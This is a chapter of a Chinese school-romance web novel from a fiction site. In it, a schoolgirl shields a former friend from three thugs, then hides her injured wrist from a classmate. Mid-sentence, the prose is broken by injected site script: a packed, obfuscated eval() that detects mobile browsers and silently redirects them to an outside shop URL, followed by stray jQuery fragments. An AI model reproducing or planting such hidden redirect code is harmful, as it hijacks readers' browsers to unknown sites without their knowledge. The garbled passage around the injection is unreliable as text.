文趣网 > 都市小说 > 明明不是下雨天 > 13. [锁]   该章节由作者自行锁定
    隔天,林颂一放学就开始收拾书包,翻着课桌找要带回家的习题册。

    “走啊走啊,贺成谦在球场等着呢。”陈竞扬一把捞起桌底的篮球,路过周起然座位顺手敲敲他桌子,提醒道。

    他们每天放学会约着打一个小时篮球。

    周起然耷拉着眼皮应了声,慢悠悠站起身,抄起书包打算出教室。余光瞥见林颂收拾书包,又折返回来,“你现在就走?”

    林颂抬头,不明所以地“嗯”了声。

    不然呢?

    周起然也觉得这问题问得有些白痴,不自然地咳了声,“听说KL上架了CherryWarrior新系列,等会去看看吗?”

    顿了顿,特地强调,“新系列。”

    CherryWarrior是林颂喜欢的一款ip,新出的‘时间回溯’系列很火,几乎是上架即抢空,线下店好不容易补了货。

    不巧的是林颂今天约了人。

    她想都没想就拒绝,“不了,我等会有其他事。”

    -

    林颂按约定来到小宋唱片店,黑色胶片的纹路在店内的暖光里泛着细腻的光泽,空气中飘着淡淡旧纸张的气味。

    她背着书包站在货架前,拿起一张《comehere》的唱片,看了眼手机——距离约定时间已经过去了半个小时,姜随依旧没回信息过来。

    店员来问她是否需要试听,林颂婉拒,将唱片放回原位,转身出了唱片店。

    街道的路口刚亮起,橘黄色的光晕裹着晚高峰的车流声,她沿着路线往家走,路过熟悉的胡同,下意识放慢脚步。

    胡同里没开灯,昏沉的暗角隐约传来争执声,她没想管,继续往前走,没想到听见了熟悉的声音。

    林颂偏头往里看——本该出现在唱片店的姜随此时被三个混混堵在角落,标志性的深棕色短发被风吹得凌乱,平时微扬的下巴此刻绷得死紧,眼神一如既往地倔强,带着不服输的狠劲。

    其中一个混混手里甩着根木棍,语气嚣张地逼她交出手机,姜随抿了抿干燥起皮的嘴,冷笑一声。

    附近没有多少人,喊人帮忙是不可能了。

    林颂没犹豫,立刻拿出手机报了警。她的手紧绷着,压低声音,清晰稳当地说明了地址、人数及混混持棍的情况。等她挂掉电话抬眼再看时,混混的木棍已经举过头顶,像是要朝着姜随的头顶砸去,动作又快又狠。

    一边的姜随想抬手挡,却被另外俩人拽住胳膊,无法挣脱,只能下意识闭眼。

    “咚”的一声闷响。

    想象中的疼痛没有如约而至,姜随睁开眼。

    林颂抬臂帮她挡了这一棍。

    混混没收力,棍子是实实在在地落在林颂的手腕上,她没忍住闷哼一声,手却没松,反而借着冲击的力量,飞快伸出左手,攥紧了木棍的中端,指节因为用力导致泛白。

    “靠。”持棍的混混被拽得一个趔趄,没忍住咒骂一声,“你他妈谁啊?”

    另外两个混混松开姜随,往前凑了两步,眼神不善。

    姜随回过神来,原本紧绷的身体瞬间松弛了些许,想上前护着林颂。

    林颂没看持棍的人,目光平静地扫过旁边两个混混,视线落点沉稳,可以放慢了语速,每个字都咬得清晰,“我刚刚看到有人报警了。”

    她的身体微微侧着,稳稳挡在姜随身前,看着像在思考,“好像辖区派出所离这儿不到一公里?估摸着这会儿警察要到路口了。”

    三个混混对视了一眼,脸上嚣张渐渐褪去。林颂的气质看着就像有钱人家的孩子,他们也不想自找麻烦,只能自认倒霉。

    “呸。”为首的混混往地上吐了口痰,骂骂咧咧松手,转身往胡同深处跑,临走前不忘警告姜随赶紧凑钱,不然下次见面就不会是在这破胡同里了。

    等他们走后。

    林颂顺势把棍子往旁边一扔,发出“哐当”声响,右臂的力气瞬间抽空,垂在身侧微微发颤。

    她的小臂隐隐作痛,手腕被砸得发麻,却无暇顾及自己,捡起路口正在录像的手机,接着折返回来拉过姜随左右检查。

    最近天气渐凉,姜随却只穿了件宽松T恤和薄的长裤,能看见的地方都是青青紫紫的一块,夹杂着点伤痕,看着有新的有旧的。

    至少也有一段时间了。

    林颂抿唇,抬眼盯着姜随,“谁打的?你爸?还是刚刚那三个人?”

    专往人头上打,看着就不像普通讨债的。

    姜随避开她的手,声音带着些沙哑,“不用你管。”

    简单和警察沟通过情况,因为不符合立案条件,所以草草解决。

    本来想着碰不上面,下次再给,没想到还是见到了。胡同昏暗不安全,姜随让林颂在路口等着,她回家里拿东西给她。

    晚风瑟瑟,姜随很快从胡同里走出来,递给林颂一张银行卡,“还差三百,明天我支付宝转给你。”

    林颂立马就明白见面的意义,直白地表示,“我不要。”

    她刚刚听到混混头目说的话,姜随家或许现在还欠着钱。

    “我不着急要,你也不用着急还。”

    “但我不想欠你的,”姜随知道林颂在想什么,也很明确地表示,“你知道我的想法,我宁可欠他们,也不想欠你的。”

    觉得表示得不够明显,姜随一顿,连着又说了几句。

    “你妈妈知道你借给我钱吗?”

    “她应该跟你说了,让你离我远远的。”

    “你怎么还是这么喜欢装好人?”

    这句话说得伤人了,像林颂这么高傲的人,应该会转身就走。

    林颂的确想走,但望着她的伤,没走得成。她接过姜随递的银行卡,低着头翻找着刚刚从旁边药店买的药。

    药店的塑料袋发出悉悉索索的响声,林颂撇开一根碘伏棉签,往姜随手臂上涂。

    “你好像比我更在意我妈妈的想法。”少女眼皮都没抬,声音闷闷的,透着点不在意。

    姜随盯着她毛茸茸的脑袋,微微一怔,鼻尖萦绕着熟悉的木质香气,淡淡的,跟她人一样。

    她总是这样,对所有都抱着一副无所谓的态度,让人看得很不爽。

    “剩下的你自己涂。”林颂的手也痛着,只帮她涂好了她涂不到的地方。

    姜随皱眉,没忍住问了句,“你穿着校服,也不怕他们去附中找你?”

    林颂不可能意识不到,却还是过来帮忙了。

    她什么时候这么侠肝义胆了?

    林颂没回应,轻轻卷起袖子,拧开云南白药的喷雾,对着手臂一顿喷。

    她当然怕,但当时棍子都要砸姜随脑袋上了,看那混混的力度,真砸脑袋上不得开瓢?

    “胡同里没监控,”林

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16751847|190020||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    颂提醒她,一只手不方便,干脆将药和塑料袋一股脑塞到姜随手上,“你先想想你的事怎么解决,今天就当我多管闲事。”

    “我不知道你们之间的纠葛,你不让我多问我就不问了,但如果你需要帮助,随时都可以跟我说。”

    “还有这个,”林颂看着手里的银行卡,塞回姜随怀里,“我真不着急要,如果你真要还,直接转我就行了,不用给我银行卡。”

    直接给别人银行卡还挺危险的,她如果真要还,直接转账,林颂也不是不会收。

    “姜随,我不觉得我能跟你完全没关系。”

    “因为即使到了现在,有关我的事大家第一时间想起的不依旧是你吗?”

    就连沈灵蕴,也一直把她的名字提在嘴边。

    -

    还好沈灵蕴这段时间忙,不然一时半会真解释不好手上的伤。

    第二天,清晨的薄雾还没散,为了不跟沈灵蕴撞上,林颂特地提前四十分钟出门。

    她刚走出单元大门,就看见周起然坐在小区的休息椅上,眼睑低敛,侧脸在薄雾里透着冷白的质感,此刻给人一种疏离又冷淡的感觉。

    察觉到有人来,少年抬起眼,见到是她,眉梢微抬,很快站起身,走到她面前。

    “你平常都起这么早?”林颂和他并肩往小区外面走,这还是她这学期第一次在上学路上见着他。

    “嗯。”他耷拉着眼,跟在林颂身边,有些没睡醒。

    林颂低头看了眼时间,似是没想到他那么勤奋,看来以后她也得早点起了。

    正暗暗下着决心,面前突然多出一盒塑料盒,里面是一个个小圆饼,整整齐齐的码了两小排。

    林颂奇怪,“这什么?”

    周起然眉眼稍抬,掀眼注视她,“你上次说的糖酥饼,城南街那家。”

    这家店停业一个月,今天才开,他特意早起去排的。

    “你还真去排了。”林颂实在不能理解,这家店真的很难排,周起然看着也不像是个视吃如命的人,“不是说我给你带吗?”

    “你还好意思说,”周起然打了个哈欠,控诉,“靠你不知道得等到猴年马月才能吃得上。”

    林颂理亏在先,没说话,抬起左手拿了一块。

    周起然察觉,“你手怎么了?”

    “抻到了。”林颂不喜欢说自己的事,吃了几口饼,她擦手,划开手机看信息。

    凌晨四点多,姜随给她转了三百。

    还真是......林颂无言。

    过马路时没注意红灯亮起就抬脚迈出去。

    “小心。”周起然的声音在耳边响起,下一秒林颂的右边小臂被攥住,他力道不轻,猛地把她往回拽。

    林颂重心不稳撞进他怀里,鼻尖擦过他领口,淡淡的洗衣液香扑过来,随即右手腕传来钻心的疼,她冷嘶一口气,脸瞬间白了。

    “怎么了?”周起然立马松开手,皱眉,察觉到不对劲,小心翼翼又不容拒绝地拉开了林颂袖子。

    能看到手腕肿了一大块,林颂皮肤白,显得淤青更加严重。

    林颂下意识往后退了一步,却被他攥住肩膀,“别躲。”晨光渐渐穿透薄雾,落到他脸上。

    “怎么弄的?”周起然冷着脸,突然想起她昨天放学说的有事,脑子里浮现很多不好的猜想。

    “——这就是你昨天说的有事?”